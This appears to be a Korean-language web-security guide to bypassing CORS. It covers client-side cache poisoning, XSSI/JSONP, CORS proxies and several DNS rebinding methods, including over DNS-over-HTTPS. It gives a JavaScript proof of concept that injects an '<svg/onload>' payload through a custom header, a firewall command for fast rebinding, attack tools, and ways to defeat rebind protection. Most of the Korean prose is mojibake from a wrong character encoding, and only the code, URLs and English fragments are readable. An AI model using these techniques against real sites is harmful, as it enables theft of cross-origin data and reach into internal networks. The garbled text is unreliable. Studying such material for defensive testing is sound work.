์ฐธ๊ณ : HTTP header injection ์ทจ์ฝ์ ์ ์ ์ฉ, ํนํ server-side cache poisoning์ ํตํ ์ ์ฉ์ HTTP headers๋ฅผ ํฌํจํ ๋ชจ๋ ์ฌ์ฉ์ ์ ๋ ฅ์ ๊ฒ์ฆํ๊ณ ์ ๋ฆฌ(sanitize)ํ๋ ๊ฒ์ด ์ผ๋ง๋ ์ค์ํ์ง๋ฅผ ๊ฐ์กฐํ๋ค. ์ด๋ฌํ ์ทจ์ฝ์ ์ ๋ฐฉ์งํ๋ ค๋ฉด ์ ๋ ฅ ๊ฒ์ฆ์ ํฌํจํ ๊ฐ๋ ฅํ ๋ณด์ ๋ชจ๋ธ์ ํญ์ ์ ์ฉํด์ผ ํ๋ค.
Client-Side cache poisoning
์ด ์๋๋ฆฌ์ค์์๋ ์ ์ ํ ์ธ์ฝ๋ฉ ์์ด ์ปค์คํ
HTTP ํค๋์ ๋ด์ฉ์ ๋ฐ์ํ๋ ์น ํ์ด์ง ์ธ์คํด์ค๊ฐ ๊ด์ฐฐ๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, ์น ํ์ด์ง๋ X-User-id ํค๋์ ํฌํจ๋ ๋ด์ฉ์ ๋ฐ์ฌํ๋๋ฐ, ์ด ๋ด์ฉ์๋ ์
์ฑ JavaScript๊ฐ ํฌํจ๋ ์ ์์ผ๋ฉฐ, ์์์์๋ ํค๋์ ๋ก๋ ์ JavaScript๋ฅผ ์คํํ๋๋ก ์ค๊ณ๋ SVG ์ด๋ฏธ์ง ํ๊ทธ๊ฐ ํฌํจ๋์ด ์๋ค.
Cross-Origin Resource Sharing (CORS) ์ ์ฑ
์ ์ปค์คํ
ํค๋ ์ ์ก์ ํ์ฉํ๋ค. ๊ทธ๋ฌ๋ CORS ์ ํ์ผ๋ก ์ธํด ๋ธ๋ผ์ฐ์ ๊ฐ ์๋ต์ ์ง์ ๋ ๋๋งํ์ง ์๋๋ค๋ฉด ์ด๋ฌํ ์ฃผ์
์ ์ ์ฉ์ฑ์ ์ ํ์ ์ผ๋ก ๋ณด์ผ ์ ์๋ค. ํต์ฌ์ ๋ธ๋ผ์ฐ์ ์ ์บ์ ๋์์ ๊ณ ๋ คํ ๋ ๋ฐ์ํ๋ค. Vary: Origin ํค๋๊ฐ ์ง์ ๋์ง ์์ ๊ฒฝ์ฐ, ์
์ฑ ์๋ต์ด ๋ธ๋ผ์ฐ์ ์ ์บ์๋ ์ ์๋ค. ์ดํ ์ด ์บ์๋ ์๋ต์ URL๋ก ์ด๋ํ ๋ ์ง์ ๋ ๋๋ง๋ ์ ์์ด ์ด๊ธฐ ์์ฒญ ์ ์ง์ ๋ ๋๋งํ ํ์๋ฅผ ์ฐํํ ์ ์๋ค. ์ด ๋ฉ์ปค๋์ฆ์ client-side caching์ ํ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ ๋ขฐ์ฑ์ ๋์ธ๋ค.
์ด ๊ณต๊ฒฉ์ ์ค๋ช
ํ๊ธฐ ์ํด ์น ํ์ด์ง ํ๊ฒฝ(์: JSFiddle)์์ ์คํ๋๋๋ก ์ค๊ณ๋ JavaScript ์์ ๊ฐ ์ ๊ณต๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ ๊ฐ๋จํ ๋์์ ์ํํ๋ค: ์
์ฑ JavaScript๋ฅผ ํฌํจํ ์ปค์คํ
ํค๋์ ํจ๊ป ์ง์ ๋ URL๋ก ์์ฒญ์ ๋ณด๋ธ๋ค. ์์ฒญ์ด ์ฑ๊ณตํ๋ฉด ํ๊น URL๋ก ์ด๋์ ์๋ํ๋ฉฐ, ๋ง์ฝ Vary: Origin ํค๋๋ฅผ ์ ์ ํ ์ฒ๋ฆฌํ์ง ์์ ์๋ต์ด ์บ์๋์ด ์์๋ค๋ฉด ์ฃผ์
๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ๊ฐ๋ฅ์ฑ์ด ์๋ค.
๋ค์์ ์ด ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ํด ์ฌ์ฉ๋ JavaScript์ ์์ฝ ์ค๋ช ์ด๋ค:
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
์ฐํ
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI(๋๋ Cross-Site Script Inclusion)๋ Same Origin Policy (SOP)๊ฐ script ํ๊ทธ๋ก ๋ฆฌ์์ค๋ฅผ ํฌํจํ ๋ ์ ์ฉ๋์ง ์๋ ์ ์ ์ ์ฉํ๋ ์ทจ์ฝ์ ์ ํ์ ๋๋ค. ์คํฌ๋ฆฝํธ๋ ๋ค๋ฅธ ๋๋ฉ์ธ์์ ํฌํจ๋ ์ ์์ด์ผ ํ๊ธฐ ๋๋ฌธ์ SOP๊ฐ ์ ์ฉ๋์ง ์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ script ํ๊ทธ๋ก ํฌํจ๋ ์ด๋ค ์ฝํ ์ธ ๋ ๊ณต๊ฒฉ์๊ฐ ์ ๊ทผํ๊ณ ์ฝ์ ์ ์๊ฒ ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ๋์ JavaScript๋ JSONP(JSON with Padding)์์ ํนํ ์ฌ๊ฐํด์ง๋ฉฐ, cookies ๊ฐ์ ambient-authority ์ ๋ณด๊ฐ ์ธ์ฆ์ ์ฌ์ฉ๋ ๋ ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค. ๋ค๋ฅธ ํธ์คํธ์์ ๋ฆฌ์์ค๋ฅผ ์์ฒญํ๋ฉด cookies๊ฐ ํฌํจ๋์ด ๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ด์ฉํ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ๋ ์ ์ดํดํ๊ณ ์ํํ๋ ค๋ฉด BurpSuite ํ๋ฌ๊ทธ์ธ์ ์ฌ์ฉํด๋ณด์ธ์: https://github.com/kapytein/jsonp. ์ด ํ๋ฌ๊ทธ์ธ์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ ์ฌ์ XSSI ์ทจ์ฝ์ ์ ์๋ณํ๊ณ ๋์ํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
Read more about the difefrent types of XSSI and how to exploit them here.
์์ฒญ์ callback parameter๋ฅผ ์ถ๊ฐํด๋ณด์ธ์. ํด๋น ํ์ด์ง๊ฐ ๋ฐ์ดํฐ๋ฅผ JSONP๋ก ์ ์กํ๋๋ก ์ค๋น๋์ด ์์ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๊ฒฝ์ฐ ํ์ด์ง๋ Content-Type: application/javascript๋ก ๋ฐ์ดํฐ๋ฅผ ๋ฐํํ๋ฉฐ ์ด๋ CORS ์ ์ฑ
์ ์ฐํํฉ๋๋ค.
.png)
์ฌ์ด(์ธ๋ชจ์๋?) ์ฐํ
Access-Control-Allow-Origin ์ ํ์ ์ฐํํ๋ ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ ์น ์ ํ๋ฆฌ์ผ์ด์
์ด ๋์ ์์ฒญ์ ์ํํ๊ณ ์๋ต์ ๋ค์ ๋ณด๋ด๋๋ก ์์ฒญํ๋ ๊ฒ์
๋๋ค. ๋ค๋ง ์ด ์๋๋ฆฌ์ค์์๋ ์ต์ข
ํผํด์์ ์๊ฒฉ์ฆ๋ช
(credentials)์ ๋ค๋ฅธ ๋๋ฉ์ธ์ผ๋ก ์์ฒญ์ด ์ด๋ฃจ์ด์ง๊ธฐ ๋๋ฌธ์ ์ ์ก๋์ง ์์ต๋๋ค.
- CORS-escape: ์ด ๋๊ตฌ๋ ์์ฒญ๊ณผ ํค๋๋ฅผ ์ ๋ฌํ๋ฉด์ Origin ํค๋๋ฅผ ์์ฒญ๋ ๋๋ฉ์ธ์ผ๋ก ์คํธํํ๋ ํ๋ก์๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด๋ CORS ์ ์ฑ ์ ํจ๊ณผ์ ์ผ๋ก ์ฐํํฉ๋๋ค. ์์ ์ฌ์ฉ๋ฒ์ XMLHttpRequest์ ํจ๊ป ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
- simple-cors-escape: ์ด ๋๊ตฌ๋ ์์ฒญ์ ์๋ ๊ทธ๋๋ก ์ ๋ฌํ๋ ๋์ ์๋ฒ๊ฐ ์ง์ ๋ ํ๋ผ๋ฏธํฐ๋ก ์์ฒด ์์ฒญ์ ์ํํ๋ ๋์ฒด ์ ๊ทผ๋ฒ์ ์ ๊ณตํฉ๋๋ค.
Iframe + Popup ์ฐํ
e.origin === window.origin ๊ฐ์ CORS ๊ฒ์ฌ๋ฅผ iframe์ ์์ฑํ๊ณ ๊ทธ iframe์์ ์ ์ฐฝ์ ์ฌ๋ ๊ฒ์ผ๋ก ์ฐํํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฐธ์กฐํ์ธ์:
DNS Rebinding via TTL
DNS rebinding via TTL์ DNS ๋ ์ฝ๋๋ฅผ ์กฐ์ํ์ฌ ํน์ ๋ณด์ ์กฐ์น๋ฅผ ์ฐํํ๋ ๊ธฐ์ ์ ๋๋ค. ๋์ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๊ณต๊ฒฉ์๊ฐ ์น ํ์ด์ง๋ฅผ ๋ง๋ค๊ณ ํผํด์๊ฐ ์ด๋ฅผ ์ ์ํ๊ฒ ํฉ๋๋ค.
- ๊ณต๊ฒฉ์๋ ์์ ์ ๋๋ฉ์ธ์ DNS(IP)๋ฅผ ํผํด์์ ์น ํ์ด์ง๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ณ๊ฒฝํฉ๋๋ค.
- ํผํด์์ ๋ธ๋ผ์ฐ์ ๊ฐ DNS ์๋ต์ ์บ์ํ๋๋ฐ, ์ด๋ TTL(Time to Live) ๊ฐ์ด ์ผ๋ง ๋์ ์ ํจํ์ง ๋ํ๋ ๋๋ค.
- TTL์ด ๋ง๋ฃ๋๋ฉด ํผํด์์ ๋ธ๋ผ์ฐ์ ๋ ์๋ก์ด DNS ์์ฒญ์ ์ํํ๊ณ , ๊ณต๊ฒฉ์๋ ํผํด์์ ํ์ด์ง์์ JavaScript ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
- ๊ณต๊ฒฉ์๊ฐ ํผํด์์ IP ์ ์ด๋ฅผ ์ ์งํ๋ฉด ํผํด์์ ์๋ฒ๋ก cookies๋ฅผ ์ ์กํ์ง ์๊ณ ๋ ์ ๋ณด๋ฅผ ์์งํ ์ ์์ต๋๋ค.
๋ธ๋ผ์ฐ์ ์๋ ์บ์ ๋ฉ์ปค๋์ฆ์ด ์์ด ๋ฎ์ TTL ๊ฐ์๋ ์ฆ๊ฐ์ ์ธ ์ ์ฉ์ ๋ฐฉ์งํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.
DNS rebinding์ ํผํด์๊ฐ ์ํํ๋ ๋ช ์์ IP ๊ฒ์ฌ ์ฐํ๋, ์ฌ์ฉ์๊ฐ ๊ฐ์ ํ์ด์ง์ ์ค๋ ์๊ฐ ๋จธ๋ฌด๋ฅด๋ ์๋๋ฆฌ์ค์์ ์บ์๊ฐ ๋ง๋ฃ๋ ๋ ์ ์ฉํฉ๋๋ค.
๋น ๋ฅด๊ฒ DNS rebinding์ ์ ์ฉํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ์๋น์ค๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: https://lock.cmpxchg8b.com/rebinder.html.
์์ ์ DNS rebinding ์๋ฒ๋ฅผ ์คํํ๋ ค๋ฉด DNSrebinder(https://github.com/mogwailabs/DNSrebinder) ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด๋ ๋ก์ปฌ ํฌํธ 53/udp๋ฅผ ๋ ธ์ถํ๊ณ , ํด๋น A ๋ ์ฝ๋(ns.example.com ๋ฑ)๋ฅผ ์์ฑํ ๋ค ๊ทธ A ์๋ธ๋๋ฉ์ธ์ ๊ฐ๋ฆฌํค๋ NS ๋ ์ฝ๋๋ฅผ ๋ง๋๋ ๋ฐฉ์์ ๋๋ค. ๊ทธ๋ฐ ๋ค์ ns.example.com์ ์ด๋ค ์๋ธ๋๋ฉ์ธ๋ ํธ์คํธ์ ์ํด ํด๊ฒฐ๋ฉ๋๋ค.
๊ณต๊ฐ์ ์ผ๋ก ์ด์๋๋ ์๋ฒ ์์๋ http://rebind.it/singularity.html์ ์ฐธ๊ณ ํ์ธ์.
DNS Rebinding via DNS Cache Flooding
DNS cache flooding์ ํตํ DNS rebinding์ ๋ธ๋ผ์ฐ์ ์ ์บ์ฑ ๋ฐฉ์ด๋ฅผ ์ฐํํ์ฌ ๋ ๋ฒ์งธ DNS ์์ฒญ์ ๊ฐ์ ํ๋ ๋ ๋ค๋ฅธ ๊ธฐ๋ฒ์ ๋๋ค. ๋์ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ด๊ธฐ์๋ ํผํด์๊ฐ DNS ์์ฒญ์ ํ๋ฉด ๊ณต๊ฒฉ์์ IP๋ก ์๋ตํฉ๋๋ค.
- ์บ์ฑ ๋ฐฉ์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด ๊ณต๊ฒฉ์๋ service worker๋ฅผ ํ์ฉํฉ๋๋ค. service worker๊ฐ DNS ์บ์๋ฅผ ํ๋ฌ๋ฉํ์ฌ ์บ์๋ ๊ณต๊ฒฉ์ ์๋ฒ ์ด๋ฆ์ ์ญ์ ํฉ๋๋ค.
- ํผํด์์ ๋ธ๋ผ์ฐ์ ๊ฐ ๋ ๋ฒ์งธ DNS ์์ฒญ์ ์ํํ๋ฉด ์ด๋ฒ์๋ ์ผ๋ฐ์ ์ผ๋ก localhost๋ฅผ ๊ฐ๋ฆฌํค๋ 127.0.0.1๋ก ์๋ตํฉ๋๋ค.
service worker๋ก DNS ์บ์๋ฅผ ํ๋ฌ๋ฉํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๋ DNS ํด์ ๊ณผ์ ์ ์กฐ์ํ๊ณ ํผํด์์ ๋ธ๋ผ์ฐ์ ๊ฐ ๋ ๋ฒ์งธ ์์ฒญ์ ํ๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค.
DNS Rebinding via Cache
์บ์ฑ ๋ฐฉ์ด๋ฅผ ์ฐํํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๋์ผํ ์๋ธ๋๋ฉ์ธ์ ๋ํด ์ฌ๋ฌ IP ์ฃผ์๋ฅผ DNS ์ ๊ณต์์ ์ค์ ํ๋ ๊ฒ์ ๋๋ค. ๋์ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๊ณต๊ฒฉ์๋ DNS ์ ๊ณต์์ ๋์ผํ ์๋ธ๋๋ฉ์ธ์ ๋ํด ๋ ๊ฐ์ A ๋ ์ฝ๋(๋๋ ๋ IP๋ฅผ ๊ฐ์ง ๋จ์ผ A ๋ ์ฝ๋)๋ฅผ ์ค์ ํฉ๋๋ค.
- ๋ธ๋ผ์ฐ์ ๊ฐ ์ด ๋ ์ฝ๋๋ฅผ ํ์ธํ๋ฉด ๋ IP ์ฃผ์๋ฅผ ๋ชจ๋ ๋ฐ์ต๋๋ค.
- ๋ธ๋ผ์ฐ์ ๊ฐ ๋จผ์ ๊ณต๊ฒฉ์ IP๋ฅผ ์ฌ์ฉํ๊ธฐ๋ก ๊ฒฐ์ ํ๋ฉด, ๊ณต๊ฒฉ์๋ ๋์ผ ๋๋ฉ์ธ์ ๋ํด HTTP ์์ฒญ์ ์ํํ๋ ํ์ด๋ก๋๋ฅผ ์ ๊ณตํฉ๋๋ค.
- ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๊ฐ ํผํด์์ IP๋ฅผ ํ๋ํ๋ฉด ๊ณต๊ฒฉ์๋ ๋ ์ด์ ํผํด์์ ๋ธ๋ผ์ฐ์ ์ ์๋ตํ์ง ์์ต๋๋ค.
- ๋ธ๋ผ์ฐ์ ๊ฐ ๋๋ฉ์ธ์ด ์๋ตํ์ง ์๋ ๊ฒ์ ์ธ์งํ๋ฉด ๋ ๋ฒ์งธ๋ก ์ ๊ณต๋ IP ์ฃผ์๋ฅผ ์ฌ์ฉํ๊ฒ ๋ฉ๋๋ค.
- ๋ธ๋ผ์ฐ์ ๊ฐ ๋ ๋ฒ์งธ IP์ ์ ๊ทผํจ์ผ๋ก์จ Same Origin Policy(SOP)๋ฅผ ์ฐํํ๊ฒ ๋๊ณ , ๊ณต๊ฒฉ์๋ ์ ๋ณด๋ฅผ ์์งยท์ ์ถํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ ๋์ผ ๋๋ฉ์ธ์ ๋ํด ์ฌ๋ฌ IP๊ฐ ์ ๊ณต๋ ๋ ๋ธ๋ผ์ฐ์ ์ ํ๋์ ์ด์ฉํฉ๋๋ค. ์๋ต์ ์ ๋ต์ ์ผ๋ก ํต์ ํ๊ณ ๋ธ๋ผ์ฐ์ ์ IP ์ ํ์ ์กฐ์ํ๋ฉด ๊ณต๊ฒฉ์๋ SOP๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
Warning
Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didnโt allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them โ0.0.0.0โ![]()
์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์: https://unit42.paloaltonetworks.com/dns-rebinding/
๊ธฐํ ์ผ๋ฐ์ ์ธ ์ฐํ
- ๋ด๋ถ IP๊ฐ ํ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ, 0.0.0.0๋ฅผ ๊ธ์งํ๋ ๊ฒ์ ๊น๋นกํ์ ์ ์์ต๋๋ค (Linux ๋ฐ Mac์์ ๋์).
- ๋ด๋ถ IP๊ฐ ํ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ, ์๋ต์ผ๋ก localhost๋ก ๊ฐ๋ฆฌํค๋ CNAME์ ๋ฐํํ ์ ์์ต๋๋ค (Linux ๋ฐ Mac์์ ๋์).
- DNS ์๋ต์ผ๋ก ๋ด๋ถ IP๊ฐ ํ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ, www.corporate.internal ๊ฐ์ ๋ด๋ถ ์๋น์ค๋ก์ CNAME์ ๋ฐํํ ์ ์์ต๋๋ค.
๋ฌด๊ธฐํ๋ DNS Rebidding
์์ ์ค๋ช ํ ์ฐํ ๊ธฐ๋ฒ๊ณผ ๋ค์ ๋๊ตฌ ์ฌ์ฉ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ Gerald Doussot์ ๊ฐ์ฐ Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference๋ฅผ ์ฐธ์กฐํ์ธ์.
Singularity of Origin๋ DNS rebinding ๊ณต๊ฒฉ์ ์ํํ๋ ๋๊ตฌ์
๋๋ค. ์ด ๋๊ตฌ์๋ ๊ณต๊ฒฉ์ ์๋ฒ DNS ์ด๋ฆ์ IP๋ฅผ ๋์ ๋จธ์ ์ IP๋ก ์ฌ๋ฐ์ธ๋ฉํ๊ณ ๋์ ๋จธ์ ์ ์ทจ์ฝํ ์ํํธ์จ์ด๋ฅผ ์
์ฉํ ํ์ด๋ก๋๋ฅผ ์ ๊ณตํ๋ ๋ฐ ํ์ํ ๊ตฌ์ฑ ์์๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
DNS Rebinding over DNS-over-HTTPS (DoH)
DoH๋ ๋จ์ํ ๊ณ ์ ์ ์ธ RFC1035 DNS wire ํฌ๋งท์ HTTPS ์์ ํฐ๋๋งํฉ๋๋ค(์ผ๋ฐ์ ์ผ๋ก Content-Type: application/dns-message์ธ POST). ๋ฆฌ์กธ๋ฒ๋ ์ฌ์ ํ ๋์ผํ ๋ฆฌ์์ค ๋ ์ฝ๋๋ก ์๋ตํ๋ฏ๋ก, ๋ธ๋ผ์ฐ์ ๊ฐ ๊ณต๊ฒฉ์ ์ ์ด ํธ์คํธ๋ช
์ TLS๋ฅผ ํตํด ํด์ํ๋๋ผ๋ SOP๋ฅผ ๊นจ๋ ๊ธฐ๋ฒ์ ๊ณ์ ์๋ํฉ๋๋ค.
์ฃผ์ ๊ด์ฐฐ์ฌํญ
- Chrome(Windows/macOS)๊ณผ Firefox(Linux)์ Cloudflare, Google, OpenDNS DoH ๋ฆฌ์กธ๋ฒ๋ก ๊ตฌ์ฑํ์ ๋ ์ฌ๋ฐ์ธ๋ฉ์ ์ฑ๊ณตํฉ๋๋ค. ์ ์ก ์ํธํ๋ first-then-second, multiple-answers, ๋๋ DNS cache flooding ์ ๋ต์์ ๊ณต๊ฒฉ ํ๋ฆ์ ์ง์ฐ์ํค๊ฑฐ๋ ์ฐจ๋จํ์ง ์์ต๋๋ค.
- ๊ณต๊ฐ ๋ฆฌ์กธ๋ฒ๋ ์ฌ์ ํ ๋ชจ๋ ์ฟผ๋ฆฌ๋ฅผ ๋ณด์ง๋ง, ๋ธ๋ผ์ฐ์ ๊ฐ ๋ฐ๋ผ์ผ ํ๋ ํธ์คํธ-ํฌ-IP ๋งคํ์ ๊ฐ์ ํ๋ ๊ฒฝ์ฐ๋ ๋๋ญ ๋๋ค. ๊ถํ ์๋ฒ๊ฐ ์ฌ๋ฐ์ธ๋ฉ ์ํ์ค๋ฅผ ๋ฐํํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ์๋ก์ด IP์ ์ฐ๊ฒฐํ๋ฉด์๋ ์๋์ origin ํํ์ ์ ์งํฉ๋๋ค.
Singularity ์ ๋ต๊ณผ DoH์์ ํ์ด๋ฐ
- First-then-second๋ ์ฌ์ ํ ๊ฐ์ฅ ์ ๋ขฐํ ์ ์๋ ์ต์ ์ ๋๋ค: ์ฒซ ์กฐํ๋ ํ์ด๋ก๋๋ฅผ ์ ๊ณตํ๋ ๊ณต๊ฒฉ์ IP๋ฅผ ๋ฐํํ๊ณ , ์ดํ์ ๋ชจ๋ ์กฐํ๋ ๋ด๋ถ/localhost IP๋ฅผ ๋ฐํํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ๋ธ๋ผ์ฐ์ DNS ์บ์์์๋ ์ด ์ ํ์ด ~40โ60์ด ๋ด์ ์ผ์ด๋ฉ๋๋ค(์ฌ๊ท ๋ฆฌ์กธ๋ฒ๊ฐ HTTPS๋ก๋ง ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒฝ์ฐ์๋).
- **Multiple answers (fast rebinding)**๋ ๋ ๊ฐ์ A ๋ ์ฝ๋(๊ณต๊ฒฉ์ IP + Linux/macOS์
0.0.0.0๋๋ Windows์127.0.0.1)๋ก ์๋ตํ๊ณ ์ฒซ ๋ฒ์งธ IP๋ฅผ ํ๋ก๊ทธ๋จ์ ์ผ๋ก ๋ธ๋ํ(์:iptables -I OUTPUT -d <attacker_ip> -j DROP) ์ฒ๋ฆฌํ๋ฉด <3์ด ๋ด์ localhost์ ๋๋ฌํฉ๋๋ค. Firefox์ DoH ๊ตฌํ์ ๋ฐ๋ณต์ ์ธ DNS ์ฟผ๋ฆฌ๋ฅผ ๋ฐ์์ํฌ ์ ์์ผ๋ฏ๋ก Singularity์ ์์ ๋ฐฉ๋ฒ์ ํ์ด๋จธ๋ฅผ ๋งค ์ฟผ๋ฆฌ๋ง๋ค ๊ฐฑ์ ํ๋ ๋์ ์ฒซ ๋ฒ์งธ ์ฟผ๋ฆฌ ํ์์คํฌํ์ ์๋์ ์ผ๋ก ๋ฐฉํ๋ฒฝ ๊ท์น์ ์ค์ผ์คํ๋ ๊ฒ์ ๋๋ค.
DoH ์ ๊ณต์์ โrebind protectionโ์ ๋ฌด๋ ฅํํ๊ธฐ
- ์ผ๋ถ ์ ๊ณต์(์: NextDNS)๋ private/loopback ์๋ต์
0.0.0.0์ผ๋ก ๋์ฒดํ์ง๋ง, Linux์ macOS๋ ํด๋น ๋ชฉ์ ์ง๋ฅผ ๋ก์ปฌ ์๋น์ค๋ก ๋ผ์ฐํ ํฉ๋๋ค. ๋ฐ๋ผ์ ๋ ๋ฒ์งธ ๋ ์ฝ๋๋ก ์๋์ ์ผ๋ก0.0.0.0์ ๋ฐํํ๋ฉด ์ฌ์ ํ origin์ localhost๋ก ์ ํํ ์ ์์ต๋๋ค. - ์ง์ ์ ์ธ A/AAAA ์๋ต๋ง ํํฐ๋งํ๋ ๊ฒ์ ๋นํจ๊ณผ์ ์ ๋๋ค: ๋ด๋ถ ์ ์ฉ ํธ์คํธ๋ช ์ผ๋ก์ CNAME์ ๋ฐํํ๋ฉด ๊ณต๊ฐ DoH ๋ฆฌ์กธ๋ฒ๊ฐ ๋ณ์นญ์ ์ ๋ฌํ๊ณ Firefox ๊ฐ์ ๋ธ๋ผ์ฐ์ ๋ ๋ด๋ถ ์กด์ ๋ํด ์์คํ DNS๋ก ํด๋ฐฑํ์ฌ ์ฌ์ ํ ๋ด๋ถ IP๋ก ํด์์ ์๋ฃํ๋ฉฐ ๊ณต๊ฒฉ์ origin์ผ๋ก ์ฒ๋ฆฌ๋ฉ๋๋ค.
๋ธ๋ผ์ฐ์ ๋ณ DoH ๋์
- Firefox DoH๋ ํด๋ฐฑ ๋ชจ๋๋ก ๋์ํฉ๋๋ค: DoH ์คํจ(ํด๊ฒฐ๋์ง ์๋ CNAME ๋์ ํฌํจ)๋ OS ๋ฆฌ์กธ๋ฒ๋ฅผ ํตํ ํ๋ฌธ ์กฐํ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ฉฐ, ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ๋ด๋ถ ๋ค์์คํ์ด์ค๋ฅผ ์๋ ์ํฐํ๋ผ์ด์ฆ DNS ์๋ฒ์ ๋๋ค. ์ด ๋์์ CNAME ์ฐํ๊ฐ ๊ธฐ์ ๋คํธ์ํฌ ๋ด๋ถ์์ ์ ๋ขฐํ ์ ์๊ฒ ๋ง๋๋ ์ด์ ์ ๋๋ค.
- Chrome DoH๋ OS DNS๊ฐ ํ์ดํธ๋ฆฌ์คํธ์ ๋ฑ๋ก๋ DoH ์ง์ ์ฌ๊ท ๋ฆฌ์กธ๋ฒ(Cloudflare, Google, Quad9 ๋ฑ)๋ฅผ ๊ฐ๋ฆฌํฌ ๋๋ง ํ์ฑํ๋๋ฉฐ ๋์ผํ ํด๋ฐฑ ์ฒด์ธ์ ์ ๊ณตํ์ง ์์ต๋๋ค. ๋ด๋ถํธ์คํธ๋ช ์ ๊ธฐ์ DNS์๋ง ์กด์ฌํ๋ฉด ํด๊ฒฐ๋์ง ์์ง๋ง, localhost๋ ๋ผ์ฐํ ๊ฐ๋ฅํ ์ฃผ์๋ก์ ์ฌ๋ฐ์ธ๋ฉ์ ์๋ต ์ธํธ๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์์ ํ ์ ์ดํ๋ฏ๋ก ์ฌ์ ํ ์ฑ๊ณตํฉ๋๋ค.
DoH ํ๋ฆ ํ ์คํธ ๋ฐ ๋ชจ๋ํฐ๋ง
- Firefox: Settings โ Network Settings โ Enable DNS over HTTPS์์ DoH ์๋ํฌ์ธํธ๋ฅผ ์ง์ ํ์ธ์(Cloudflare์ NextDNS๊ฐ ๋ด์ฅ๋์ด ์์). Chrome/Chromium: chrome://flags/#dns-over-https๋ฅผ ํ์ฑํํ๊ณ OS DNS ์๋ฒ๋ฅผ Chrome์ด ์ง์ํ๋ ๋ฆฌ์กธ๋ฒ(์:
1.1.1.1/1.0.0.1)๋ก ๊ตฌ์ฑํ์ธ์. - ๊ณต๊ฐ DoH API๋ฅผ ์ง์ ์ฟผ๋ฆฌํ ์ ์์ต๋๋ค. ์:
curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq๋ก ๋ธ๋ผ์ฐ์ ๊ฐ ์บ์ํ ์ ํํ ๋ ์ฝ๋๋ฅผ ํ์ธํ์ธ์. - DoH๋ ๋จ์ํ HTTPS์ด๊ธฐ ๋๋ฌธ์ Burp/ZAP๋ก ์ธํฐ์
ํธํ๋ ๊ฒ๋ ์ฌ์ ํ ์๋ํฉ๋๋ค(๋ณธ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ DNS ํ์ด๋ก๋). ํจํท ์์ค ๊ฒ์ฌ์๋ ๋ธ๋ผ์ฐ์ ๋ฅผ ์คํํ๊ธฐ ์ ์ TLS ํค๋ฅผ ๋ด๋ณด๋ด์ธ์(
export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) ๊ทธ๋ฆฌ๊ณ Wireshark๋ก DoH ์ธ์ ์ ํด๋ ํ ๋คdns๋์คํ๋ ์ด ํํฐ๋ก ๋ธ๋ผ์ฐ์ ๊ฐ DoH์ ๋จธ๋ฌด๋ฅด๋์ง ํ๋ฌธ DNS๋ก ํด๋ฐฑํ๋์ง๋ฅผ ํ์ธํ์ธ์.
DNS Rebinding์ ๋ํ ์ค์ ๋ฐฉ์ด
- ๋ด๋ถ ์๋น์ค์ TLS ์ฌ์ฉ
- ๋ฐ์ดํฐ ์ ๊ทผ์ ์ธ์ฆ ์๊ตฌ
